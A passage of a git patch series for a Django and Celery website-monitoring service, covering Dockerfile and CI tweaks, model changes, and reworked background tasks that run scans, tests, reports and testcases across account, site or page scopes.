@@ -4193,14 +4204,14 @@ def create_or_update_case(request: object) -> object:
 
 
 
-def save_case_steps(steps: dict, steps_id: str) -> dict:
+def save_case_steps(steps: dict, case_id: str) -> dict:
     """ 
     Helper function that uploads the "steps" data to 
     s3 bucket
 
     Expects: {
         'steps'   : dict, 
-        'step_id' : str
+        'case_id' : str
     }
 
     Returns -> data: {
@@ -4218,19 +4229,24 @@ def save_case_steps(steps: dict, steps_id: str) -> dict:
     )
 
     # saving as json file temporarily
+    steps_id = uuid.uuid4()
     with open(f'{steps_id}.json', 'w') as fp:
         json.dump(steps, fp)
     
     # seting up paths
     steps_file = os.path.join(settings.BASE_DIR, f'{steps_id}.json')
-    remote_path = f'static/cases/steps/{steps_id}.json'
+    remote_path = f'static/cases/{case_id}/{steps_id}.json'
     root_path = settings.AWS_S3_URL_PATH
     steps_url = f'{root_path}/{remote_path}'
 
     # upload to s3
     with open(steps_file, 'rb') as data:
         s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-            remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+            remote_path, ExtraArgs={
+                'ACL': 'public-read', 
+                'ContentType': 'application/json',
+                'CacheControl': 'max-age=0'
+            }
         )
 
     # remove local copy

From 5e8858aca6481290b6ab163e12f547e2e02910e9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 10:55:56 -0600
Subject: [PATCH 684/752] rolling out big new version (v1.2.0)

---
 .github/workflows/dev-deploy.yaml |   1 +
 .github/workflows/k8s-deploy.yaml |   1 +
 Dockerfile                        |  33 +-
 app/api/admin.py                  |   4 +-
 app/api/models.py                 |  42 +-
 app/api/tasks.py                  | 457 ++++++++++++++++----
 app/api/utils/alerts.py           | 279 ++++++++-----
 app/api/utils/autocaser.py        |  14 +-
 app/api/utils/automater.py        |  62 +--
 app/api/utils/caser.py            | 365 +++++++++++++++-
 app/api/utils/lighthouse.py       |   2 +-
 app/api/utils/scanner.py          |   6 +
 app/api/utils/yellowlab.py        |  17 +-
 app/api/v1/billing/services.py    |  52 ++-
 app/api/v1/ops/serializers.py     |  11 +-
 app/api/v1/ops/services.py        | 670 +++++++++++++++++++++++-------
 app/api/v1/ops/urls.py            |   5 +
 app/api/v1/ops/views.py           |  55 +++
 18 files changed, 1641 insertions(+), 435 deletions(-)

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
index 9de39732..562c84d7 100644
--- a/.github/workflows/dev-deploy.yaml
+++ b/.github/workflows/dev-deploy.yaml
@@ -17,6 +17,7 @@ jobs:
   build:
     name: Build
     runs-on: ubuntu-latest
+    timeout-minutes: 30
     steps:
     - name: pulling latest dev commit and rebuilding app
       uses: appleboy/ssh-action@v1.0.0
diff --git a/.github/workflows/k8s-deploy.yaml b/.github/workflows/k8s-deploy.yaml
index 11f97e30..aa16f7dc 100644
--- a/.github/workflows/k8s-deploy.yaml
+++ b/.github/workflows/k8s-deploy.yaml
@@ -22,6 +22,7 @@ jobs:
   build:
     # The type of runner that the job will run on.
     runs-on: ubuntu-latest
+    timeout-minutes: 30
     
     # Steps represent a sequence of tasks that will be executed as part of the job
     steps:
diff --git a/Dockerfile b/Dockerfile
index f20fc699..f9d56e33 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,20 +1,27 @@
 # pull main python image
 FROM python:3.12-slim
+
+# setting ENVs and Configs
 ENV PYTHONUNBUFFERED 1
 ENV DEBIAN_FRONTEND noninteractive
+ENV DOCKERIZED yes
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome-stable
 
+# adding labels
 LABEL Author="Scanerr" Support="hello@scanerr.io"
 
 # create the app user
-RUN addgroup --system app && adduser --system app 
-
-# installing python3 & pip
-RUN apt-get update && apt-get install -y python3 python3-pip
+RUN addgroup --system app && adduser --system app
 
 # installing system deps
-RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
-    gfortran openssl libpq-dev curl libjpeg-dev \ 
-    libfontconfig firefox-esr apt-transport-https software-properties-common
+RUN apt-get update && apt-get install -y postgresql postgresql-client gcc make \
+    gfortran openssl libpq-dev curl libjpeg-dev libglib2.0-0 libsm6 libxrender1 \ 
+    libxext6 libgl1 libfontconfig apt-transport-https software-properties-common \
+    nasm autoconf libtool automake ca-certificates libfreetype6 
+
+# installing firefox-esr
+RUN apt-get update && apt-get install -y firefox-esr
 
 # installing google-chrome-stable
 RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && \
@@ -36,9 +43,12 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # installing lighthouse & lighthouse-plugin-crux
 RUN npm install -g lighthouse lighthouse-plugin-crux
 
+# installing lodash & yellowlabtools
+RUN npm install -g lodash yellowlabtools
+
 # installing requirements
 COPY ./setup/requirements/requirements.txt /requirements.txt
-RUN python3 -m pip install -r /requirements.txt
+RUN python3.12 -m pip install -r /requirements.txt
 
 # setting working dir
 RUN mkdir /app
@@ -50,8 +60,15 @@ RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/firefox
 RUN chown -R app:app /usr/bin/google-chrome-stable
 RUN chown -R app:app /usr/bin/microsoft-edge-stable
+RUN chown -R app:app /usr/local/bin/yellowlabtools
+RUN chown -R app:app /usr/local/bin/lighthouse
+
+# setting user
+USER app
 
 # staring up services
 COPY ./setup/scripts/entrypoint.sh "/entrypoint.sh"
 ENTRYPOINT [ "/entrypoint.sh" ]
 
+
+
diff --git a/app/api/admin.py b/app/api/admin.py
index 850429a0..cb008618 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -164,7 +164,7 @@ class LogAdmin(admin.ModelAdmin):
 
 @admin.register(Schedule)
 class ScheduleAdmin(admin.ModelAdmin):
-    list_display = ('__str__', 'time_created', 'status', 'user')
+    list_display = ('__str__', 'time_last_run', 'status', 'user', 'time_created')
 
 
 
@@ -215,7 +215,7 @@ def delete_testcases(self, request, queryset):
 
 @admin.register(Issue)
 class IssueAdmin(admin.ModelAdmin):
-    list_display = ('__str__', 'account', 'time_created', 'read',)
+    list_display = ('__str__', 'account', 'time_created', 'status',)
 
 
 
diff --git a/app/api/models.py b/app/api/models.py
index a99a2f10..d836840b 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -403,7 +403,7 @@ class Test(models.Model):
     post_scan_configs = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.id}__test'
+        return f'{self.id}_test'
 
 
 
@@ -418,6 +418,7 @@ class Case(models.Model):
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     steps = models.JSONField(serialize=True, null=True, blank=True, default=get_steps_default)
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    processed = models.BooleanField(default=False, serialize=True)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
 
     def __str__(self):
@@ -440,7 +441,7 @@ class Testcase(models.Model):
     configs = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.case.name}__testcase'
+        return f'{self.case.name}_testcase'
 
 
 
@@ -457,7 +458,7 @@ class Report(models.Model):
     info = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.page.page_url}__report'
+        return f'{self.page.page_url}_report'
 
 
 
@@ -475,39 +476,33 @@ class Issue(models.Model):
     read = models.BooleanField(default=False, serialize=True)
 
     def __str__(self):
-        return f'{self.title if self.title is not None else self.id}__issue'
+        return f'{self.title if self.title is not None else self.id}_issue'
 
 
 
 
 class Schedule(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
-    site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    page = models.ForeignKey(Page, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto')
-    time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
-    task_type = models.CharField(max_length=100, default='test', serialize=True) # report, scan, test, testcase
+    scope = models.CharField(max_length=100, default='account', serialize=True)
+    resources = models.JSONField(serialize=True, null=True, blank=True)
+    automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto')
+    time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True)
+    time_last_run = models.DateTimeField(null=True, blank=True, serialize=True)
+    task_type = models.CharField(max_length=100, default='test', serialize=True)
     timezone = models.CharField(max_length=100, null=True, blank=True, serialize=True)
     begin_date = models.DateTimeField(default=datetime.now, serialize=True)
     time = models.CharField(max_length=100, null=True, blank=True, serialize=True)
-    frequency = models.CharField(default="monthly", max_length=100, serialize=True) # daily, weekly, monthly,
-    task = models.CharField(max_length=500, null=True, blank=True, serialize=True) # assigning shared task
+    frequency = models.CharField(default="monthly", max_length=100, serialize=True)
+    task = models.CharField(max_length=500, null=True, blank=True, serialize=True)
     crontab_id = models.CharField(max_length=500, null=True, blank=True, serialize=True)
     periodic_task_id = models.CharField(max_length=500, null=True, blank=True, serialize=True)
     status = models.CharField(max_length=100, default='Active', null=True, blank=True, serialize=True)
     extras = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        if self.site is not None:
-            url = self.site.site_url
-            level = 'site'
-        if self.page is not None:
-            url = self.page.site.site_url
-            level = 'page'
-
-        return f'{url}_{self.task_type}_{level}'
+        return f'{self.account.name}_{self.task_type}_{self.scope}'
 
 
 
@@ -535,7 +530,7 @@ class Mask(models.Model):
     mask_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.id}__mask'
+        return f'{self.id}_mask'
 
 
 
@@ -544,7 +539,8 @@ class Process(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # Test, Testcase, Case, Flow, Scan, Crawl
+    type = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    object_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     time_completed = models.DateTimeField(serialize=True, null=True, blank=True)
     success = models.BooleanField(serialize=True, default=False)
@@ -554,7 +550,7 @@ class Process(models.Model):
     progress = models.FloatField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.id}__process'
+        return f'{self.id}_process'
 
 
 
@@ -570,7 +566,7 @@ class Log(models.Model):
     response_payload = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.status}__{self.request_type}__{self.path}'
+        return f'{self.status}_{self.request_type}_{self.path}'
 
 
 
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 480f703b..ff3e96a8 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -330,40 +330,91 @@ def create_scan(
 def create_scan_bg(self, *args, **kwargs) -> None:
     """ 
     Creates 1 or more `Scans` depending on 
-    the scope (page or site). Used with `Schedules`
+    the scope (page, site or account). Used with `Schedules`
 
     Expects: {
-        'site_id'       : str,
-        'page_id'       : str,
+        'scope'         : str
+        'resources'     : list
+        'account_id'    : str
         'type'          : list,
         'configs'       : dict,
         'tags'          : list,
-        'automation_id' : str
+        'automation_id' : str,
+        'task_id'       : str
     }
 
     Returns -> None
     """
 
     # get data from kwargs
-    site_id = kwargs.get('site_id')
-    page_id = kwargs.get('page_id')
+    scope = kwargs.get('scope')
+    resources = kwargs.get('resources')
+    account_id = kwargs.get('account_id')
     type = kwargs.get('type')
     configs = kwargs.get('configs')
     tags = kwargs.get('tags')
     automation_id = kwargs.get('automation_id')
+    task_id = kwargs.get('task_id')
+
+    # setting defaults
+    pages = []
+    sites = []
+
+    # get account if account_id exists
+    if account_id:
+        account = Account.objects.get(id=account_id)
+        
+    # iterating through resources 
+    # and adding to sites or pages
+    if len(resources) > 0:
+        for item in resources:
+            
+            # adding to pages
+            if item['type'] == 'page':
+                try:
+                    pages.append(
+                        Page.objects.get(id=item['id'])
+                    ) 
+                except Exception as e:
+                    print(e)
+            
+            # adding to sites
+            if item['type'] == 'site':
+                try:
+                    sites.append(
+                        Site.objects.get(id=item['id'])
+                    ) 
+                except Exception as e:
+                    print(e)
+    
+    # grabbing all sites because no 
+    # resources were specified and scope is "account"
+    if len(resources) == 0 and scope == 'account':
+        sites = Site.objects.filter(account=account)
 
-    # building list of pages
-    if site_id is not None:
-        site = Site.objects.get(id=site_id)
-        pages = Page.objects.filter(site=site)
-    if page_id is not None:
-        pages = [Page.objects.get(id=page_id)]
+    # get all pages from existing sites
+    for site in sites:
+        pages += Page.objects.filter(site=site)
 
     # creating scans for each page
     for page in pages:
-
         # check resource 
         if check_and_increment_resource(page.account, 'scans'):
+
+            # updating latest_scan info for page
+            page.info['latest_scan']['id'] = 'placeholder'
+            page.info['latest_scan']['time_created'] = str(timezone.now())
+            page.info['latest_scan']['time_completed'] = None
+            page.info['latest_scan']['score'] = None
+            page.info['latest_scan']['score'] = None
+            page.save()
+
+            # updating latest_scan info for site
+            page.site.info['latest_scan']['id'] = 'placeholder'
+            page.site.info['latest_scan']['time_created'] = str(timezone.now())
+            page.site.info['latest_scan']['time_completed'] = None
+            page.site.save()
+
             create_scan.delay(
                 page_id=page.id,
                 type=type,
@@ -372,6 +423,16 @@ def create_scan_bg(self, *args, **kwargs) -> None:
                 automation_id=automation_id
             )
     
+    # update schedule if task_id is not None
+    if task_id:
+        try:
+            last_run = timezone.now()
+            Schedule.objects.filter(periodic_task_id=task_id).update(
+                time_last_run=last_run
+            )
+        except Exception as e:
+            print(e)
+    
     logger.info('created new Scans')
     return None
 
@@ -490,7 +551,7 @@ def run_test(self, test_id: str, automation_id: str=None) -> None:
     test = T(test=test).run_test()
     if automation_id:
         print('running automation from `task.run_test`')
-        automater(automation_id, test.id)
+        Automater(automation_id, test.id).run_automation()
 
     logger.info('Test completed')
     return None
@@ -586,6 +647,16 @@ def create_test(
             ).exclude(
                 time_completed=None
             ).order_by('-time_completed')[0]
+
+        # check and increment resources
+        if not check_and_increment_resource(page.account, 'scans'):
+            
+            # remove created_test
+            created_test.delete()
+
+            # return None
+            logger.info('no more scans usage available')
+            return None
         
         # create new post_scan
         post_scan = Scan.objects.create(
@@ -595,6 +666,8 @@ def create_test(
             type=type,
             configs=configs,
         )
+
+        # run Scan & Test tasks 
         scan_page_bg.delay(
             scan_id=post_scan.id, 
             test_id=created_test.id,
@@ -631,8 +704,9 @@ def create_test_bg(self, *args, **kwargs) -> None:
     all requested pages.
 
     Expects: {
-        site_id       : str
-        page_id       : str
+        scope         : str
+        resources     : list
+        account_id    : str
         test_id       : str
         type          : list
         configs       : dict
@@ -641,14 +715,16 @@ def create_test_bg(self, *args, **kwargs) -> None:
         pre_scan      : str
         post_scan     : str
         threshold     : float
+        task_id       : str
     }
     
     Returns -> None
     """
     
     # get data
-    site_id = kwargs.get('site_id')
-    page_id = kwargs.get('page_id')
+    scope = kwargs.get('scope')
+    resources = kwargs.get('resources', [])
+    account_id = kwargs.get('account_id')
     test_id = kwargs.get('test_id')
     type = kwargs.get('type')
     configs = kwargs.get('configs')
@@ -657,22 +733,72 @@ def create_test_bg(self, *args, **kwargs) -> None:
     automation_id = kwargs.get('automation_id')
     pre_scan = kwargs.get('pre_scan')
     post_scan = kwargs.get('post_scan')
+    task_id = kwargs.get('task_id')
 
     # create test if none was passed
     if test_id is None:
-        if site_id is not None:
-            site = Site.objects.get(id=site_id)
-            pages = Page.objects.filter(site=site)
-        if page_id is not None:
-            p = Page.objects.get(id=page_id)
-            pages = [p]
-
+        
+        # setting defaults
+        pages = []
+        sites = []
+
+        # get account if account_id exists
+        if account_id:
+            account = Account.objects.get(id=account_id)
+            
+        # iterating through resources 
+        # and adding to sites or pages
+        if len(resources) > 0:
+            for item in resources:
+                
+                # adding to pages
+                if item['type'] == 'page':
+                    try:
+                        pages.append(
+                            Page.objects.get(id=item['id'])
+                        ) 
+                    except Exception as e:
+                        print(e)
+                
+                # adding to sites
+                if item['type'] == 'site':
+                    try:
+                        sites.append(
+                            Site.objects.get(id=item['id'])
+                        ) 
+                    except Exception as e:
+                        print(e)
+        
+        # grabbing all sites because no 
+        # resources were specified and scope is "account"
+        if len(resources) == 0 and scope == 'account':
+            sites = Site.objects.filter(account=account)
+
+        # get all pages from existing sites
+        for site in sites:
+            pages += Page.objects.filter(site=site)
+        
         # create a test for each page
         for page in pages:
-
             # check resource 
             if check_and_increment_resource(page.account, 'tests'):
 
+                # updating latest_test info for page
+                page.info['latest_test']['id'] = 'placeholder'
+                page.info['latest_test']['time_created'] = str(timezone.now())
+                page.info['latest_test']['time_completed'] = None
+                page.info['latest_test']['score'] = None
+                page.info['latest_test']['status'] = 'working'
+                page.save()
+
+                # updating latest_test info for site
+                page.site.info['latest_test']['id'] = 'placeholder'
+                page.site.info['latest_test']['time_created'] = str(timezone.now())
+                page.site.info['latest_test']['time_completed'] = None
+                page.site.info['latest_test']['score'] = None
+                page.site.info['latest_test']['status'] = 'working'
+                page.site.save()
+
                 # create test
                 create_test.delay(
                     page_id=page.id,
@@ -686,7 +812,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
                 )
     
     # get test and run 
-    if test_id is not None:
+    if test_id:
         test = Test.objects.get(id=test_id)
         create_test.delay(
             test_id=test_id,
@@ -700,6 +826,16 @@ def create_test_bg(self, *args, **kwargs) -> None:
             automation_id=automation_id
         )
 
+    # update schedule if task_id is not None
+    if task_id:
+        try:
+            last_run = timezone.now()
+            Schedule.objects.filter(periodic_task_id=task_id).update(
+                time_last_run=last_run
+            )
+        except Exception as e:
+            print(e)
+
     logger.info('Created new Tests')
     return None
 
@@ -725,7 +861,7 @@ def create_report(page_id: str=None, automation_id: str=None) -> None:
     
     # check if report exists
     if Report.objects.filter(page=page).exists():
-        report = Report.objects.filter(site=site).order_by('-time_created')[0]
+        report = Report.objects.filter(page=page).order_by('-time_created')[0]
     
     # create new report obj
     else:
@@ -735,17 +871,18 @@ def create_report(page_id: str=None, automation_id: str=None) -> None:
             "highlight_color": '#ffffff',
         }
         report = Report.objects.create(
-            user=site.user,
+            user=page.user,
             site=page.site,
+            account=page.account,
             page=page,
             info=info,
             type=['lighthouse', 'yellowlab']
         )
     
     # generate report PDF
-    report = R(report=report).generate_report()
+    R(report=report).generate_report()
     if automation_id:
-        automater(automation_id, report.id)
+        Automater(automation_id, str(report.id)).run_automation()
     
     logger.info('Created new report of page')
     return None
@@ -759,25 +896,62 @@ def create_report_bg(*args, **kwargs) -> None:
     Creates new `Reports` for the requested `Pages`
 
     Expects: {
-        'site_id'       : str,
-        'page_id'       : str
+        'scope'         : str,
+        'resources'     : str
+        'account_id'    : str
         'automation_id' : str
+        'task_id'       : str
     }
      
     Returns -> None
     """
 
     # get data
-    site_id = kwargs.get('site_id')
-    page_id = kwargs.get('page_id')
+    scope = kwargs.get('scope')
+    resources = kwargs.get('resources', [])
+    account_id = kwargs.get('account_id')
     automation_id = kwargs.get('automation_id')
+    task_id = kwargs.get('task_id')
 
-    # deciding scope
-    if site_id is not None:
-        site = Site.objects.get(id=site_id)
-        pages = Page.objects.filter(site=site)
-    if page_id is not None:
-        pages = [Page.objects.get(id=page_id)]
+    # setting defaults
+    pages = []
+    sites = []
+
+    # get account if account_id exists
+    if account_id:
+        account = Account.objects.get(id=account_id)
+        
+    # iterating through resources 
+    # and adding to sites or pages
+    if len(resources) > 0:
+        for item in resources:
+            
+            # adding to pages
+            if item['type'] == 'page':
+                try:
+                    pages.append(
+                        Page.objects.get(id=item['id'])
+                    ) 
+                except Exception as e:
+                    print(e)
+            
+            # adding to sites
+            if item['type'] == 'site':
+                try:
+                    sites.append(
+                        Site.objects.get(id=item['id'])
+                    ) 
+                except Exception as e:
+                    print(e)
+    
+    # grabbing all sites because no 
+    # resources were specified and scope is "account"
+    if len(resources) == 0 and scope == 'account':
+        sites = Site.objects.filter(account=account)
+
+    # get all pages from existing sites
+    for site in sites:
+        pages += Page.objects.filter(site=site)
 
     # create reports for each page
     for page in pages:
@@ -786,6 +960,16 @@ def create_report_bg(*args, **kwargs) -> None:
             automation_id=automation_id
         )
     
+    # update schedule if task_id is not None
+    if task_id:
+        try:
+            last_run = timezone.now()
+            Schedule.objects.filter(periodic_task_id=task_id).update(
+                time_last_run=last_run
+            )
+        except Exception as e:
+            print(e)
+    
     logger.info('Created new Reports')
     return None
 
@@ -1056,39 +1240,117 @@ def create_auto_cases_bg(
 
 
 
+@shared_task(bind=True, base=BaseTaskWithRetry)
+def case_pre_run_bg(
+        self, 
+        case_id: str=None,
+        process_id: str=None,
+    ) -> None:
+    """ 
+    Runs
+
+    Expects: {
+        case_id    : str,
+        process_id : str,
+    }
+    
+    Returns -> None
+    """
+
+    # get objects
+    case = Case.objects.get(id=case_id)
+    process = Process.objects.get(id=process_id)
+
+    # init Caser
+    C = Caser(
+        case=case,
+        process=process,
+    )
+
+    # build cases
+    C.pre_run()
+
+    logger.info('Completed Case pre_run')
+    return None
+
+
+
+
 @shared_task
-def create_testcase_bg(
+def run_testcase(
         testcase_id: str=None, 
-        site_id: str=None, 
-        case_id: str=None, 
-        updates: dict=None, 
         automation_id: str=None,
-        configs: dict=settings.CONFIGS
     ) -> None:
+    """
+    Runs a Testcase.
+
+    Expects: {
+        testcase_id   : str, 
+        automation_id : str,
+    }
+    
+    Returns -> None
+    """
+    
+    # get testcase
+    testcase = Testcase.objects.get(id=testcase_id)
+
+    # running testcase
+    testresult = Caser(testcase=testcase).run()
+
+    # run automation if requested
+    if automation_id:
+        Automater(automation_id, str(testcase.id)).run_automation()
+
+    logger.info('Ran Testcase')
+    return None
+
+
+
+
+@shared_task
+def create_testcase_bg(*args, **kwargs) -> None:
     """ 
     Creates and or runs a Testcase.
 
     Expects: {
         testcase_id   : str, 
-        site_id       : str, 
+        resources     : list, 
+        scope         : str, 
+        account_id    : str, 
         case_id       : str, 
-        updates       : dict, 
+        updates       : list, 
         automation_id : str,
-        configs       : dict
+        configs       : dict,
+        task_id       : str
     }
     
     Returns -> None
     """
 
-    # getting testcase
-    if testcase_id != None:
-        testcase = Testcase.objects.get(id=testcase_id)
-        configs = testcase.configs
-    
-    # creating testcase from case
-    else:
+    # get data
+    testcase_id = kwargs.get('testcase_id')
+    case_id = kwargs.get('case_id')
+    account_id = kwargs.get('account_id')
+    resources = kwargs.get('resources', [])
+    scope = kwargs.get('scope')
+    updates = kwargs.get('updates')
+    automation_id = kwargs.get('automation_id')
+    task_id = kwargs.get('task_id')
+    configs = kwargs.get('configs', settings.CONFIGS)
+
+    # settign defaults 
+    case = None
+    steps = None
+    testcases = []
+    sites = []
+
+    # get case
+    if case_id:
         case = Case.objects.get(id=case_id)
-        site = Site.objects.get(id=site_id)
+
+    # update steps
+    if case:
         steps = requests.get(case.steps['url']).json()
         for step in steps:
             if step['action']['type'] != None:
@@ -1103,30 +1365,69 @@ def create_testcase_bg(
                 step['assertion']['exception'] = None
                 step['assertion']['passed'] = None
 
-        # adding updates
-        if updates != None:
-            for update in updates:
-                steps[int(update['index'])]['action']['value'] = update['value']
-
-        # create new testcase
-        testcase = Testcase.objects.create(
-            case = case,
-            case_name = case.name,
-            site = site,
-            user = site.user,
-            account = site.account,
-            configs = configs,
-            steps = steps
-        )
+    # adding updates
+    if steps:
+        for update in updates:
+            steps[int(update['index'])]['action']['value'] = update['value']
 
-    # running testcase
-    testresult = Caser(testcase=testcase).run()
+    # getting testcase
+    if testcase_id:
+        testcases = [Testcase.objects.get(id=testcase_id),]
+    
+    # creating testcase from case
+    if testcase_id is None:
+        
+        # getting all sites in resources
+        for item in resources:
+            if item['type'] == 'site':
+                try:
+                    sites.append(
+                        Site.objects.get(id=item['id'])
+                    )
+                except Exception as e:
+                    print(e)
+        
+        # add all sites in account if scope == 'account'
+        if scope == 'account' and len(resources) == 0:
+            sites = Site.objects.filter(account__id=account_id)
 
-    # run automation if requested
-    if automation_id:
-        automater(automation_id, testcase.id)
+        # iterate through sites
+        for site in sites:
+    
+            # create new testcase
+            _testcase = Testcase.objects.create(
+                case = case,
+                case_name = case.name,
+                site = site,
+                user = site.user,
+                account = site.account,
+                configs = configs,
+                steps = steps
+            )
+
+            # add to list
+            testcases.append(
+                _testcase
+            )
+
+    # iterate through testcases and run
+    for testcase in testcases:
+        run_testcase.delay(
+            testcase_id=str(testcase.id),
+            automation_id=automation_id
+        )
+    
+    # update schedule if task_id is not None
+    if task_id:
+        try:
+            last_run = timezone.now()
+            Schedule.objects.filter(periodic_task_id=task_id).update(
+                time_last_run=last_run
+            )
+        except Exception as e:
+            print(e)
 
-    logger.info('Ran full testcase')
+    logger.info('Created Testcases')
     return None
 
 
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 1f46d823..8ae34047 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -202,126 +202,187 @@ def create_exp(item: object=None, automation: object=None) -> dict:
     }
     """
 
-    # init exp_list
+    # seting defaults
     exp_list = []
+    exp_str = ''
     
     # loop through automation expressions
     for e in automation.expressions:
 
         # top-level scores and data
         if 'test_score' in e['data_type']:
-            data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t'
+            title = 'Test Score'
+            data = str(round(item.score, 2))
+        if 'test_status' in e['data_type']:
+            status = '❌ FAILED'
+            if item.status == 'passed':
+                status = '✅ PASSED'
+            title = 'Test Status'
+            data = status
         elif 'current_health' in e['data_type']:
-            data_type = 'Health:\t'+str((float(item.lighthouse_delta["scores"]["current_average"]) + float(item.yellowlab_delta["scores"]["current_average"])/2))+'\n\t'
+            title = 'Health'
+            data = str(
+                (float(item.lighthouse_delta["scores"]["current_average"]) + 
+                float(item.yellowlab_delta["scores"]["current_average"])) /2
+            )
         elif 'health' in e['data_type']:
-            data_type = 'Health:\t'+str(((float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"]))/2))+'\n\t'
+            title = 'Health:'
+            data = str(
+                (float(item.lighthouse["scores"]["average"]) + 
+                float(item.yellowlab["scores"]["globalScore"])) /2
+            )
         
         # LH test data
         elif 'current_lighthouse_average' in e['data_type']:
-            data_type = 'Lighthouse Average:\t'+str(item.lighthouse_delta["scores"]["current_average"])+'\n\t'
+            title = 'Lighthouse Average'
+            data = str(item.lighthouse_delta["scores"]["current_average"])
         elif 'seo_delta' in e['data_type']:
-            data_type = 'SEO Delta:\t'+str(item.lighthouse_delta["scores"]["seo_delta"])+'\n\t'
+            title = 'SEO Delta'
+            data = str(item.lighthouse_delta["scores"]["seo_delta"])
         elif 'pwa_delta' in e['data_type']:
-            data_type = 'PWA Delta:\t'+str(item.lighthouse_delta["scores"]["pwa_delta"])+'\n\t'
+            title = 'PWA Delta'
+            data = str(item.lighthouse_delta["scores"]["pwa_delta"])
         elif 'crux_delta' in e['data_type']:
-            data_type = 'CRUX Delta:\t'+str(item.lighthouse_delta["scores"]["crux_delta"])+'\n\t'
+            title = 'CRUX Delta'
+            data = str(item.lighthouse_delta["scores"]["crux_delta"])
         elif 'best_practices_delta' in e['data_type']:
-            data_type = 'Best Practices Delta:\t'+str(item.lighthouse_delta["scores"]["best_practices_delta"])+'\n\t'
+            title = 'Best Practices Delta'
+            data = str(item.lighthouse_delta["scores"]["best_practices_delta"])
         elif 'performance_delta' in e['data_type']:
-            data_type = 'Performance Delta:\t'+str(item.lighthouse_delta["scores"]["performance_delta"])+'\n\t'
+            title = 'Performance Delta'
+            data = str(item.lighthouse_delta["scores"]["performance_delta"])
         elif 'accessibility_delta' in e['data_type']:
-            data_type = 'Accessibility Delta:\t'+str(item.lighthouse_delta["scores"]["accessibility_delta"])+'\n\t'
-        
+            title = 'Accessibility Delta'
+            data = str(item.lighthouse_delta["scores"]["accessibility_delta"])
+
         # LH scan data
         elif 'lighthouse_average' in e['data_type']:
-            data_type = 'Lighthouse Average:\t'+str(item.lighthouse["scores"]["average"])+'\n\t'
+            title = 'Lighthouse Average'
+            data = str(item.lighthouse["scores"]["average"])
         elif 'seo' in e['data_type']:
-            data_type = 'SEO:\t'+str(item.lighthouse["scores"]["seo"])+'\n\t'
+            title = 'SEO'
+            data = str(item.lighthouse["scores"]["seo"])
         elif 'pwa' in e['data_type']:
-            data_type = 'PWA:\t'+str(item.lighthouse["scores"]["pwa"])+'\n\t'
+            title = 'PWA'
+            data = str(item.lighthouse["scores"]["pwa"])
         elif 'crux' in e['data_type']:
-            data_type = 'CRUX:\t'+str(item.lighthouse["scores"]["crux"])+'\n\t'
+            title = 'CRUX'
+            data = str(item.lighthouse["scores"]["crux"])
         elif 'best_practices' in e['data_type']:
-            data_type = 'Best Practices:\t'+str(item.lighthouse["scores"]["best_practices"])+'\n\t'
+            title = 'Best Practices'
+            data = str(item.lighthouse["scores"]["best_practices"])
         elif 'performance' in e['data_type']:
-            data_type = 'Performance:\t'+str(item.lighthouse["scores"]["performance"])+'\n\t'
+            title = 'Performance'
+            data = str(item.lighthouse["scores"]["performance"])
         elif 'accessibility' in e['data_type']:
-            data_type = 'Accessibility:\t'+str(item.lighthouse["scores"]["accessibility"])+'\n\t'
+            title = 'Accessibility'
+            data = str(item.lighthouse["scores"]["accessibility"])
         
         # yellowlab test data
